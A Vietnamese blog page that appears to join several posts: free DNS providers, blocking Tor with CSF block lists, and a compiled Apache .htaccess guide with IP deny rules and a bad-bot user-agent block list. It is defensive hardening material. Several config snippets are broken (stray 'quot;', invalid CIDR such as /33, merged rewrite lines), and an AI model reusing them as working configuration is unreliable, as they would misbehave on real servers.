-Mỗi nhà cung cấp dịch vụ vận hành và duy trì DNS server riêng của mình, gồm các máy bên trong phần riêng của mỗi nhà cung cấp dịch vụ đó trong Internet. Tức là, nếu một trình duyệt tìm kiếm địa chỉ của một website thì DNS server phân giải tên website này phải là DNS server của chính tổ chức quản lý website đó chứ không phải là của một tổ chức (nhà cung cấp dịch vụ) nào khác.

INTERNIC (Internet Network Information Center) chịu trách nhiệm theo dõi các tên miền và các DNS server tương ứng. INTERNIC là một tổ chức được thành lập bởi NFS (National Science Foundation), AT&T và Network Solution, chịu trách nhiệm đăng ký các tên miền của Internet. INTERNIC chỉ có nhiệm vụ quản lý tất cả các DNS server trên Internet chứ không có nhiệm vụ phân giải tên cho từng địa chỉ.

DNS có khả năng tra vấn các DNS server khác để có được một cái tên đã được phân giải. DNS server của mỗi tên miền thường có hai việc khác biệt. Thứ nhất, chịu trách nhiệm phân giải tên từ các máy bên trong miền về các địa chỉ Internet, cả bên trong lẫn bên ngoài miền nó quản lý. Thứ hai, chúng trả lời các DNS server bên ngoài đang cố gắng phân giải những cái tên bên trong miền nó quản lý. – DNS server có khả năng ghi nhớ lại những tên vừa phân giải. Để dùng cho những yêu cầu phân giải lần sau. Số lượng những tên phân giải được lưu lại tùy thuộc vào quy mô của từng DNS.

Khi các bạn mua domain thì nhà cung cấp domain đó sẽ mặc định cấp cho bạn một cặp tên nameserver của máy chủ DNS để domain hoạt động tuy nhiên nếu bạn không muốn dùng mặc định hoặc bạn mua domain ở nhiều nhà cung cấp khác nhau muốn quản lý tập trung thì bạn sẽ tìm tới các công cụ phân giải DNS miến phí cho toàn bộ domain bạn có!

2.1 : Cloudflare

Dịch vụ Cloudflare chắc chắn nhiều bạn đã biết và sử dụng nó với các tính năng ưu việt mà không nhà cung cấp dns free nào có thể theo được như

  • Miễn phí chứng chỉ ssl cho website
  • che địa chỉ IP thật của website một cách an toàn
  • giám sát truy cập, băng thông… giảm tải băng thông cho máy chru bằng cách truy vấn bộ nhớ đệm của Cloudflare
  • ở bản mất phí bạn sẽ có thêm tùy chọn về tường lửa vào lọc, chặn các địa chỉ IP một cách cực nhanh mà không cần vào máy chủ thao tác!
  • Cloudflare có công cụ scan dns nên khi bạn dùng Cloudflare bạn thay đổi IP máy chủ ngay lập tức bạn sẽ đươc truy cập vào domain với máy chủ mới mà không phải chờ nư các nhà cung cấp khác từ 3 tới 6 tiếng!

Bên cạnh ưu điểm nhưng có những hạn chế mà mình muốn sau này Cloudflare sẽ hỗ trợ người dùng như:

  • Các bản nghi REDIRECT và FRAME cho domain
  • Tốc độ khá chậm khi ở việt nam vì cáp việt nam rất hay đứt nên nếu Cloudflare có server việt nam thì quá tuyệt vời.

2.2: Z.com

Nếu bạn cần một máy chủ phân giải domain tại việt nam thì z.com là lựa chọn cho bạn. hiện tại ở việt nam chỉ có z.com cho phân giản DNS miễn phí cho domain một cách trực quan một tài khoản bạn có thể quản lý tới 100 domain không như các nhà cung cấp khác bạn cần login từng domain một rất mất thời gian

  • Hỗ Trợ Các bản nghi REDIRECT và FRAME cho domain
  • Phân giải tập trung lên tới 100 domain và bạn có thể yêu cầu lên tới 1000 domain khi yêu cầu qua mail kỹ thuật
  • Ở bản mất phí bạn có thể dùng thêm tính năng GEO DNS để định hướng truy cập theo vùng trên thế giới (trường hợp này rất tiện cho bạn nào làm site đa ngôn ngữ ví dụ cùng một link nhưng ở mỹ người dùng sẽ thấy tiếng anh còn người ở việt nam họ lại đọc được là tiếng việt mà không cần phải tạo subdomain hay các công cụ detech vị trí, lựa chọn ngôn ngữ…)

DNS của z.com chỉ có một tác dụng duy nhất là phân giải từ IP sang domain còn ngoài ra không có tính năng bổ sung như giám sát truy cập hay băng thông….

2.3: 1984

Cái tên 1984 là cái tên lạ với nhiều người không biết tới ngoài dịch vụ máy chủ riêng thì 1984hosting miễn phí cấu hình dns cho khách hàng tương tự như z.com ngoài các tính năng như z.com thì 1984hosting còn hỗ trợ thêm Dynamic DNS một tính năng rất hữu dụng khi bạn dùng máy chủ với IP động

Nguồn : vouu-blog.site

loading...

Cấu Hình Ngăn Chặn Mạng Tor Trên Website

0

Hôm nay tôi sẽ hướng dẫn các bạn chặn mạng tor vào website bằng công cụ cực kỳ quen thuộc đó là csf.

Đầu tiên chúng ta cần cài đặt csf trước đã!

Đăng nhập vào ssh và gõ lần lượt các lệnh sau đây để cài các phần bổ trợ cho csf


yum -y install epel-release
yum -y install iptables-services unzip bind-utils perl-libwww-perl e2fsprogs perl-LWP-Protocol-https ipset perl-Time-HiRes vim vi wget

Sau đó gõ các lệnh sau đây để tiến hành cài đặt csf

Giải nén file mới tải về và đi vào bên trong thư mục

Sau đó gõ lệnh sau đây để tiến hành cài đặt

Ok vậy đợi một lúc csf sẽ tự động cài đặt và thông báo thành công bây giờ chúng ta cần cấu hình chặn mạng tor như sau

Khuyến cáo các bạn dùng winscp đăng nhập bằn sftp vào vps để chỉnh sử cho dễ

Vào thư mục /etc/csf/ trên vps tìm file csf.blocklists

Bỏ phần comments của code ở các phần tor

Các bạn có thể tham khảo file mình đã cấu hình hoàn chỉnh như dưới đây


###############################################################################
# Copyright 2006-2018, Way to the Web Limited
# URL: http://www.configserver.com
# Email: sales@waytotheweb.com
###############################################################################
# This file contains definitions to IP BLOCK lists.
#
# Uncomment the line starting with the rule name to use it, then restart csf
# and then lfd
#
# Each block list must be listed on per line: as NAME|INTERVAL|MAX|URL
# NAME : List name with all uppercase alphabetic characters with no
# spaces and a maximum of 25 characters - this will be used as the
# iptables chain name
# INTERVAL: Refresh interval to download the list, must be a minimum of 3600
# seconds (an hour), but 86400 (a day) should be more than enough
# MAX : This is the maximum number of IP addresses to use from the list,
# a value of 0 means all IPs
# URL : The URL to download the list from
#
# Note: Some of these lists may be very long and could cause serious network
# and/or performance issues unless you are using LF_IPSET in csf, so setting a
# value for the MAX field should be considered
#
# After making any changes to this file you must restart csf and then lfd
#
# If you want to redownload a blocklist you must first delete
# /var/lib/csf/csf.block.NAME and then restart csf and then lfd
#
# Each URL is scanned for an IP/CIDR address per line and if found is blocked
#
# The downloaded list can be a zip file. The zip file MUST only contain a
# single text file of a single IP/CIDR per line
#
# Note: CXS_ is a reserved prefix for the blocklist name and MUST NOT be used

# Spamhaus Don't Route Or Peer List (DROP)
# Details: http://www.spamhaus.org/drop/
SPAMDROP|86400|0|http://www.spamhaus.org/drop/drop.txt

# Spamhaus IPv6 Don't Route Or Peer List (DROPv6)
# Details: http://www.spamhaus.org/drop/
SPAMDROPV6|86400|0|https://www.spamhaus.org/drop/dropv6.txt

# Spamhaus Extended DROP List (EDROP)
# Details: http://www.spamhaus.org/drop/
SPAMEDROP|86400|0|http://www.spamhaus.org/drop/edrop.txt

# DShield.org Recommended Block List
# Details: http://dshield.org
DSHIELD|86400|0|http://www.dshield.org/block.txt

# TOR Exit Nodes List
# Set URLGET in csf.conf to use LWP as this list uses an SSL connection
# Details: https://trac.torproject.org/projects/tor/wiki/doc/TorDNSExitList
TOR|86400|0|https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.2.3.4

# Alternative TOR Exit Nodes List
# Details: http://torstatus.blutmagie.de/
ALTTOR|86400|0|http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv

# BOGON list
# Details: http://www.team-cymru.org/Services/Bogons/
BOGON|86400|0|http://www.cymru.com/Documents/bogon-bn-agg.txt

# Project Honey Pot Directory of Dictionary Attacker IPs
# Details: http://www.projecthoneypot.org
HONEYPOT|86400|0|http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1

# C.I. Army Malicious IP List
# Details: http://www.ciarmy.com
CIARMY|86400|0|http://www.ciarmy.com/list/ci-badguys.txt

# BruteForceBlocker IP List
# Details: http://danger.rulez.sk/index.php/bruteforceblocker/
BFB|86400|0|http://danger.rulez.sk/projects/bruteforceblocker/blist.php

# MaxMind GeoIP Anonymous Proxies
# Set URLGET in csf.conf to use LWP as this list uses an SSL connection
# Details: https://www.maxmind.com/en/anonymous_proxies
MAXMIND|86400|0|https://www.maxmind.com/en/anonymous_proxies

# Blocklist.de
# Set URLGET in csf.conf to use LWP as this list uses an SSL connection
# Details: https://www.blocklist.de
# This first list only retrieves the IP addresses added in the last hour
BDE|3600|0|https://api.blocklist.de/getlast.php?time=3600
# This second list retrieves all the IP addresses added in the last 48 hours
# and is usually a very large list (over 10000 entries), so be sure that you
# have the resources available to use it
BDEALL|86400|0|http://lists.blocklist.de/lists/all.txt

# Stop Forum Spam
# Details: http://www.stopforumspam.com/downloads/
# Many of the lists available contain a vast number of IP addresses so special
# care needs to be made when selecting from their lists
STOPFORUMSPAM|86400|0|http://www.stopforumspam.com/downloads/listed_ip_1.zip

# Stop Forum Spam IPv6
# Details: http://www.stopforumspam.com/downloads/
# Many of the lists available contain a vast number of IP addresses so special
# care needs to be made when selecting from their lists
STOPFORUMSPAMV6|86400|0|http://www.stopforumspam.com/downloads/listed_ip_1_ipv6.zip

# GreenSnow Hack List
# Details: https://greensnow.co
GREENSNOW|86400|0|https://blocklist.greensnow.co/greensnow.txt

Sau đó lưu lại và quay lại lại ssh của vps gõ lệnh

Sau đó các bạn test thử bằng cách cài tor browser và test ? các bạn có thể test chính site mình luôn trước khi cài nhé mình cũng chặn rồi và đây là kết quả khi truy cập bằng tor browser

Nguồn : https://vouu-blog.site/archives/csf-block-tor/

loading...

Tất tần tật về Apache htaccess

0
tất tần tật về htaccess
tất tần tật về htaccess

Tổng Quan Htaccess [ Sưu Tập ]

1. .htaccess là gì?

1.1. .htaccess là gì

.htaccess là một file cấu hình sử dụng cho các web server chạy Apache. .htaccess dùng để thiết lập các tùy chọn: thực thi hay loại bỏ các chức năng, tính năng của Apache

1.2. Ý nghĩa ký hiệu định nghĩa trong .htaccess

# : cho phép server bỏ qua dòng này
[F] : Forbidden, hướng dẫn server trả về lỗi 403 cho client
[L] : Last rule, hướng dẫn server ngừng ghi lại sau khi một chỉ thị đã được xử lý
[N] : Next, chỉ dẫn cho Apache trả về luật rewrite cho tới khi tất cả các chỉ thị rewrite được hoàn tất.
[G]: Gone, chỉ dẫn server chuyển thông điệp Gone
[P]: Proxy, chỉ dẫn server sử dụng các request cung cấp bởi mod_proxy
[C]: Chain, chỉ dẫn server gắn luật trước với luật sau nó
[R]: Redirect, hướng dẫn Apache đưa ra một chuyển hướng
[NC]: No case, xác định bất cứ trường hợp nào liên quan tới nó là vô lý (Không thể xảy ra)
[PT]: Pas Through: chỉ dẫn mod_rewrite để vượt qua cơ chế ghi lại URL cho các xử lý xa hơn
[OR]: Or, là cú pháp logic bình thường (biểu thức kết hợp đúng khi một trong hai biểu thức con của nó đúng)

[NE]: No Escape: hướng dẫn server lọc đầu ra
[NS]: No Subresquest: hướng dẫn server giữ chỉ thị nếu là một request con từ bên trong
[QSA]: gắn thêm chuỗi truy vấn vào cuối URL
[S=x]: Skip: chỉ dẫn server dừng lại x luật
[E=variable:value]: Environment Variale: chỉ dẫn server thiết lập giá trị tài nguyên
[T=MIME-type]: Mime Type: mô tả loại mime của tài nguyên đích
[]: xác định một tập các ký tự trong đó bất cứ ký tự nào có trong ngoặc xuất hiện sẽ được match
[]+: tập các ký tự trong đó bất cứ kết hợp nào với nó cũng được match
[a-z] : match với tất cả các ký tự từ a-z, theo bảng chữ cái. Có thể có thêm: [a-zA-Z]
a{n}: xác định số ký tự sẽ mở rộng cùng với ký tự đầu, tức là khi match được ký tự đầu sẽ lấy thêm bao nhiêu ký tự tiếp theo. Ví dụ: x{3} sẽ lấy: x’s, xad, …
a{n,} : như a{n} nhưng có thể lấy 3 hoặc nhiều hơn
a{n,m}: như a{n} nhưng sẽ lấy trong khoảng từ n tới m
(): nhóm các ký tự lại với nhau, xem chúng như 1 đơn vị đơn lẻ
^: ghi chú bắt đầu chuỗi regex
$: ghi chú kết thúc chuỗi regex
? : cho phép chọn lựa ký tự.Ví dụ: monzas? sẽ match với monza hoặcmonzas
! : mô tả một phủ định, sẽ match với tất cả thứ gì khác với các ký tự sau !
. : thể hiện cho bất cứ ký tự đơn nào
+: match với một hoặc nhiều ký tự
*: match với 0 hoặc nhiều ký tự
|: phép hoặc logic
\: thêm vào trước các ký tự đặc biệt để có thể sử dụng chúng như các ký tự bình thường
.* : không có ký tự nào hoặc nhiều ký tự bất kỳ
^$: định nghĩa một chuỗi rỗng
^.*$: sử dụng để match mọi thứ
[^/.]: định nghĩa 1 ký tự là “/” hoặc “.”
[^/.]+: định nghĩa bất cứ số lượng ký tự nào chứa “/” hoặc “.”
http://: là một chuỗi bình thường
^domain.*: định nghĩa một chuỗi bắt đầu với “domain”
^domain\.com$: xác định sự mở rộng của chuỗi “domain.com”
-d: kiểm tra nếu chuỗi là một directory
-f: kiểm tra nếu một chuỗi là một file
-s: kiểm tra nếu file trong chuỗi kiểm tra có 1 giá trị khác 0

1.3. Mã redirect

301 – Move permanently
302 – Move temporarily
403 – Forbidden
404 – Not found
410 – Gone

1.4. Cách sử dụng .htaccess

Tạo file .htaccess (chú ý đây là tên đầy đủ, không phải là phần mở rộng), tiến hành các thiết lập cấu hình trong file và đặt ở trong thư mục mong muốn thực hiện các cấu hình đó.

Ví dụ:

AuthName “Member’s Area Name”
AuthUserFile /path/to/password/file/.htpasswd
AuthType Basic
require valid-user
ErrorDocument 401 /error_pages/401.html
AddHandler server-parsed .html

Ví dụ trên cấu hình sử dụng password bảo vệ thư mục và chuyển hướng tới trang 401.html khi gặp lỗi 401.

Chú ý:

  • Upload file .htaccess ở chế độ ASCII thay vì chế độ BINARY hay các chế độ khác do cơ chế chuyển dữ liệu ở các chế độ là khác nhau.
  • Việc cấp quyền truy cập, sử dụng và thực thi file .htaccess có thể gây ra lỗi, cài đặt quyền 755 hoặc quyền thực thi với file
  • Comment lại các thông tin cấu hình quan trọng để dễ dàng cho người tiếp quản sau này hoặc cho chính bản than khi phải cấu hình lại hoặc khắc phục sự cố nào đó

2. Những cấu hình cần thiết

2.1. Enable basic rewriting

Server có thể không bật chế độ “mod_rewite” mặc định, để đảm bảo chế độ này được bật, thêm vào file .htaccess tại thư mục root:

# enable basic rewriting
RewriteEngine on

2.2. Enable Symbolic links

Xem về Symbolic links tại: http://en.wikipedia.org/wiki/Symbolic_link. Để chế độ này hoặc động, tính năng: AllowOverride Options cần được enable.

# enable symbolic links
Options +FollowSymLinks

2.3. Enable AllowOverride

Đối với các chỉ thị cần tính năng AllowOverride để thực thi như: FollowSymlinks, … Khi cần enable tính năng này tại một thư mục nào đó, ta thêm vào .htaccess (Có thể cấu hình tại file server để áp dụng toàn bộ):

# enable allowoverride privileges
<Directory /www/replace/this/with/actual/directory>
AllowOverride Options
</Directory>

2.4. Đặt tên lại file .htaccess

Không phải mọi hệ thống đều thích định dạng .htaccess, có thể thay đổi tên này (thực hiện trên file cấu hình của server):

# rename htaccess files
AccessFileName ht.access

Khi thay đổi tên file .htaccess, cần cập nhật tất cả các cấu hình liên quan. Ví dụ: nếu bạn bảo vệ .htaccess với FilesMatch, định dạng lại file này (với .htaccess đã đổi thành: ht.access):

# protect renamed htaccess files
<FilesMatch “^ht\.”>
Order deny,allow
Deny from all
</FilesMatch>

2.5. Giữ lại các luật đã được định nghĩa trong httpd.conf

Tiết kiệm thời gian và nỗ lực định nghĩa lại các luật lặp lại cho nhiều host ảo với chỉ 1 file httpd.conf, để đơn giản hơn ta cấu hình .htaccess kế thừa tập luật từ httpd.conf

RewriteOptions Inherit

3. Hiệu năng

3.1. Tăng hiệu năng thông qua AllowOverride

Việc cấu hình AllowOverride ở thư mục gốc, server sẽ phải tìm kiếm ở tất cả các thư mục để xem nơi nào .htaccess tồn tại, điều này làm chậm tốc độ xử lý. Để hạn chế điều này, disable chế độ AllowOverride tại thư mục gốc và bật lên ở những nơi cần dùng, để disable:

# increase performance by disabling allowoverride
AllowOverride None

3.2. Tăng hiệu năng bằng cách truyền tập các ký tự

# pass the default character set
AddDefaultCharset utf-8

3.3. Tăng hiệu năng bởi việc bảo vệ bandwidth

# preserve bandwidth for PHP enabled servers
<ifmodule mod_php4.c>
php_value zlib.output_compression 16386
</ifmodule>

3.4. Disable chữ ký server

# disable the server signature
ServerSignature Off

3.5. Cài đặt server timezone

# set the server timezone
SetEnv TZ America/Washington

3.6. Đặt địa chỉ email cho quản trị server

# set the server administrator email
SetEnv SERVER_ADMIN default@domain.com

3.7. Tăng tốc độ duyệt site bằng việc enable file caching

# cache images and flash content for one month
<FilesMatch “.(flv|gif|jpg|jpeg|png|ico|swf)quot;>
Header set Cache-Control “max-age=2592000”
</FilesMatch>
# cache text, css, and javascript files for one week
<FilesMatch “.(js|css|pdf|txt)quot;>
Header set Cache-Control “max-age=604800”
</FilesMatch>
# cache html and htm files for one day
<FilesMatch “.(html|htm)quot;>
Header set Cache-Control “max-age=43200”
</FilesMatch>
# implement minimal caching during site development
<FilesMatch “\.(flv|gif|jpg|jpeg|png|ico|js|css|pdf|swf|html|h tm|txt)quot;>
Header set Cache-Control “max-age=5”
</FilesMatch>
# explicitly disable caching for scripts and other dynamic files
<FilesMatch “\.(pl|php|cgi|spl|scgi|fcgi)quot;>
Header unset Cache-Control
</FilesMatch>
# alternate method for file caching
ExpiresActive On
ExpiresDefault A604800 # 1 week
ExpiresByType image/x-icon A2419200 # 1 month
ExpiresByType application/x-javascript A2419200 # 1 month
ExpiresByType text/css A2419200 # 1 month
ExpiresByType text/html A300 # 5 minutes
# disable caching for scripts and other dynamic files
<FilesMatch “\.(pl|php|cgi|spl|scgi|fcgi)quot;>
ExpiresActive Off
</FilesMatch>

* Convert common time intervals into seconds:
300 = 5 minutes
2700 = 45 minutes
3600 = 1 hour
54000 = 15 hours
86400 = 1 day
518400 = 6 days
604800 = 1 week
1814400 = 3 weeks
2419200 = 1 month
26611200 = 11 months
29030400 = 1 year = never expires

3.8. Cài đặt ngôn ngữ và kiểu mã hóa mặc định

# set the default language
DefaultLanguage en-US
# set the default character set
AddDefaultCharset UTF-8

3.9. Mô tả MIME

MIME types là tập các phần mở rộng của file, server cần biết tham số này để biết nó đang thao tác với loại file nào. Sử dụng “AddType” để thêm một MIME, tham số tiếp theo là loại MIME và cuối cùng là phần mở rộng của file. Ví dụ với file MP3 hoặc SWF:

AddType application/x-shockwave-flash swf
AddType application/x-shockwave-flash .swf
AddType video/x-flv .flv
AddType image/x-icon .ico

Một số loại file không cho chạy trực tiếp trên trình duyệt mà yêu cầu download về máy, loại MIME cần thiết lập là: application/octec-stream

Danh sách các MIME và loại file tương ứng:

AddType text/html .html .htm
AddType text/plain .txt
AddType text/richtext .rtx
AddType text/tab-separated-values .tsv
AddType text/x-setext .etx
AddType text/x-server-parsed-html .shtml .sht
AddType application/macbinhex-40 .hqx
AddType application/netalivelink .nel
AddType application/netalive .net
AddType application/news-message-id
AddType application/news-transmission
AddType application/octet-stream .bin .exe
AddType application/oda .oda
AddType application/pdf .pdf
AddType application/postscript .ai .eps .ps
AddType application/remote-printing
AddType application/rtf .rtf
AddType application/slate
AddType application/zip .zip
AddType application/x-mif .mif
AddType application/wita
AddType application/wordperfect5.1
AddType application/x-csh .csh
AddType application/x-dvi .dvi
AddType application/x-hdf .hdf
AddType application/x-latex .latex
AddType application/x-netcdf .nc .cdf
AddType application/x-sh .sh
AddType application/x-tcl .tcl
AddType application/x-tex .tex
AddType application/x-texinfo .texinfo .texi
AddType application/x-troff .t .tr .roff
AddType application/x-troff-man .man
AddType application/x-troff-me .me
AddType application/x-troff-ms .ms
AddType application/x-wais-source .src
AddType application/x-bcpio .bcpio
AddType application/x-cpio .cpio
AddType application/x-gtar .gtar
AddType application/x-shar .shar
AddType application/x-sv4cpio .sv4cpio
AddType application/x-sv4crc .sv4crc
AddType application/x-tar .tar
AddType application/x-ustar .ustar
AddType application/x-director .dcr
AddType application/x-director .dir
AddType application/x-director .dxr
AddType application/x-onlive .sds
AddType application/x-httpd-cgi .cgi
AddType image/gif .gif .GIF
AddType image/ief .ief
AddType image/jpeg .jpeg .jpg .jpe .JPG
AddType image/tiff .tiff .tif
AddType image/x-cmu-raster .ras
AddType image/x-portable-anymap .pnm
AddType image/x-portable-bitmap .pbm
AddType image/x-portable-graymap .pgm
AddType image/x-portable-pixmap .ppm
AddType image/x-rgb .rgb
AddType image/x-xbitmap .xbm
AddType image/x-xpixmap .xpm
AddType image/x-xwindowdump .xwd
AddType audio/basic .au .snd
AddType audio/x-aiff .aif .aiff .aifc
AddType audio/x-wav .wav
AddType audio/x-pn-realaudio .ram
AddType audio/x-midi .mid
AddType video/mpeg .mpeg .mpg .mpe
AddType video/quicktime .qt .mov
AddType video/x-msvideo .avi
AddType video/x-sgi-movie .movie
AddType message/external-body
AddType message/news
AddType message/partial
AddType message/rfc822
AddType multipart/alternative
AddType multipart/appledouble
AddType multipart/digest
AddType multipart/mixed
AddType multipart/parallel
AddType x-world/x-vrml .wrl

3.10. Gửi kiểu mã hóa và header không cần thẻ meta

# send the language tag and default character set
# AddType ‘text/html; charset=UTF-8’ html
AddDefaultCharset UTF-8
DefaultLanguage en-US

3.11. Giới hạn các request GET và PUT

# limit server request methods to GET and PUT
Options -ExecCGI -Indexes -All
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD) RewriteRule .* – [F]

3.12. Lựa chọn file xử lý theo phương thức request tới server

# process files according to server request method
Script PUT /cgi-bin/upload.cgi
Script GET /cgi-bin/download.cgi

3.13. Thực thi một định dạng file bằng 1 cgi script

# execute all png files via png-script.cgi
Action image/png /cgi-bin/png-script.cgi

4. Các cấu hình bảo mật

4.1. Ngăn cản truy cập file .htaccess

Khi người dùng cố tình truy nhập file .htaccess sẽ trả về lỗi 403, có nhiều cách để cấu hình, có thể cấu hình file với CHMOD là 644 hoặc thêm đoạn mã sau:

# secure htaccess file
<Files .htaccess>
order allow,deny
deny from all
</Files>

4.2. Ngăn cản truy cập tới một file đặc biệt

Để chặn truy nhập vào một file đặc biệt nào đó, thêm đoạn mã sau vào file .htaccess, giả sử là file secretfile.jpg

# prevent viewing of a specific file
<files secretfile.jpg>
order allow,deny
deny from all
</files>

4.3. Chặn truy cập tới nhiều file

<FilesMatch “\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh) quot;>
Order Allow,Deny
Deny from all
</FilesMatch>

4.4. Chống browse thư mục trái phép

Đảm bảo người dùng không có đủ quyền không thể xem toàn bộ trang web dưới dạng Directory listing.

# disable directory browsing
Options All –Indexes

Ngược lại để cho phép người dùng có thể xem dưới dạng này, sử dụng:

# enable directory browsing
Options All +Indexes

Ngăn cản server listing directory:

# prevent folder listing
IndexIgnore *

Ngăn cản truy nhập vào các file có định dạng nào đó, sử dụng IndexIgnore

# prevent display of select file types
IndexIgnore *.wmv *.mp4 *.avi *.etc

4.5. Thay đổi trang index mặc định

Có thể thay vì sử dụng trang index một cách mặc định, ta cấu hình cho server nhận một file khác có chức năng tương tự như file index (ở đâylà business.html)

# serve alternate default index page
DirectoryIndex business.html

Hoặc cho một loạt file đều có thể là file index, server sẽ tìm kiếm và đưa ra file đầu tiên tìm được là file index

# serve first available alternate default index page from series
DirectoryIndex filename.html index.cgi index.pl default.htm

4.6. Ngụy trang cho định dạng script

Để tăng cường tính bảo mật, việc ngụy trang cho ngôn ngữ kịch bản bằng việc thay đổi phần mở rộng cũng là một yếu tố cần xét đến:

# serve foo files as php files
AddType application/x-httpd-php .foo

# serve foo files as cgi files
AddType application/x-httpd-cgi .foo

4.7. Giới hạn truy cập tới mạng LAN

# limit access to local area network
<Limit GET POST PUT>
order deny,allow
deny from all
allow from 192.168.0.0/33
</Limit>

4.8. Bảo vệ thư mục bằng địa chỉ IP và/hoặc domain
Cấu hình cho phép các truy cập ngoại trừ truy cập từ địa chỉ: x.y.z.v và từ domain.com

# allow all except those indicated here
<Limit GET POST PUT>
order allow,deny
allow from all
deny from x.y.z.v
deny from .*domain\.com.*
</Limit>

Ngược lại với cấu hình bên trên, từ chối tất cả IP truy cập ngoại trừ x.y.z.v và domain.com

# deny all except those indicated here
<Limit GET POST PUT>
order deny,allow
deny from all
allow from x.y.z.v
allow from .*domain\.com.*
</Limit>

Ngoài ra, cũng có thể tiết kiệm băng thông bằng cách block một số định dạng file đặc biệt như: .jpg, .zip, ,mp3, … từ các server ngoài (ở đây là abc và xyz)

# block visitors referred from indicated domains
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP_REFERER} abc\.com [NC,OR]
RewriteCond %{HTTP_REFERER} xyz\.com [NC,OR]
RewriteRule .* – [F]
</ifModule>

4.9. Ngăn cản hoặc cho phép truy cập domain theo dải địa chỉ IP

Có nhiều phương pháp để block một dải địa chỉ IP bằng cách cấu hình .htaccess. Cách thức đầu tiên có thể sử dụng sô CIDR (Classess Inter-Domain Routing) của dải IP, cách này hiệu quả để block các mega-spammer như RIPE, Optinet, …

# block IP range by CIDR number
<Limit GET POST PUT>
order allow,deny
allow from all
deny from 10.1.0.0/16
deny from 80.0.0/8
</Limit>

Để cho phép bởi CIDR:

# allow IP range by CIDR number
<Limit GET POST PUT>
order deny,allow
deny from all
allow from 10.1.0.0/16
allow from 80.0.0/8
</Limit>

Một biện pháp khác chúng ta có thể block dải IP đầu vào liên quan tới số truncating cho tới khi dải mong muốn xuất hiện

# block IP range by address truncation
<Limit GET POST PUT>
order allow,deny
allow from all
deny from 99.88.77.66
deny from 99.88.77.*
deny from 99.88.*.*
deny from 99.*.*.*
</Limit>

Cho phép địa chỉ IP theo cách này:

# allow IP range by address truncation
<Limit GET POST PUT>
order deny,allow
deny from all
allow from 99.88.77.66
allow from 99.88.77.*
allow from 99.88.*.*
allow from 99.*.*.*
</Limit>

4.10. Chặn hoặc cho phép nhiều địa chỉ trong cùng 1 dòng

Block:

# block two unique IP addresses
deny from 99.88.77.66 11.22.33.44
# block three ranges of IP addresses
deny from 99.88 99.88.77 11.22.33

Allow:

# allow two unique IP addresses
allow from 99.88.77.66 11.22.33.44
# allow three ranges of IP addresses
allow from 99.88 99.88.77 11.22.33

4.11. Các luật khác sử dụng để block hay allow địa chỉ IP

Có một số luật khác có thể sử dụng:

# block a partial domain via network/netmask values
deny from 99.1.0.0/255.255.0.0

# block a single domain
deny from 99.88.77.66

# block domain.com but allow sub.domain.com
order deny,allow
deny from domain.com
allow from sub.domain.com

4.12. Ngừng các hotlinking, luân chuyển nội dung server

Mục tiêu nhằm giúp các quản trị viên ngăn cản các website bên ngoài sử dụng trực tiếp các hình ảnh, nội dung, link, … từ website của mình. Vì dạng này làm tốn băng thông.
Sử dụng chế độ này khi đã kích hoạt mod_rewrite.

# stop hotlinking and serve alternate content
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?domain\.com/.*$ [NC]
RewriteRule .*\.(gif|jpg)$ http://www.domain.com/eatme.jpg [R,NC,L]
</ifModule>

Để chuyển giao một page lỗi thay vì một số hình ảnh như eatme.jpg như bên trên, thay dòng RewriteRule bằng dòng:

# serve a standard 403 forbidden error page
RewriteRule .*\.(gif|jpg)$ – [F,L]

Để cho phép một domain ngoài có thể sử dụng hotlinking (goodsite chẳng hạn), thêm dòng cấu hình:

# allow linking from the following site
RewriteCond %{HTTP_REFERER} !^http://(www\.)?goodsite\.com/.*$ [NC]

4.13. Chặn Evil Robots, Site Rippers, và Offline Browsers

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
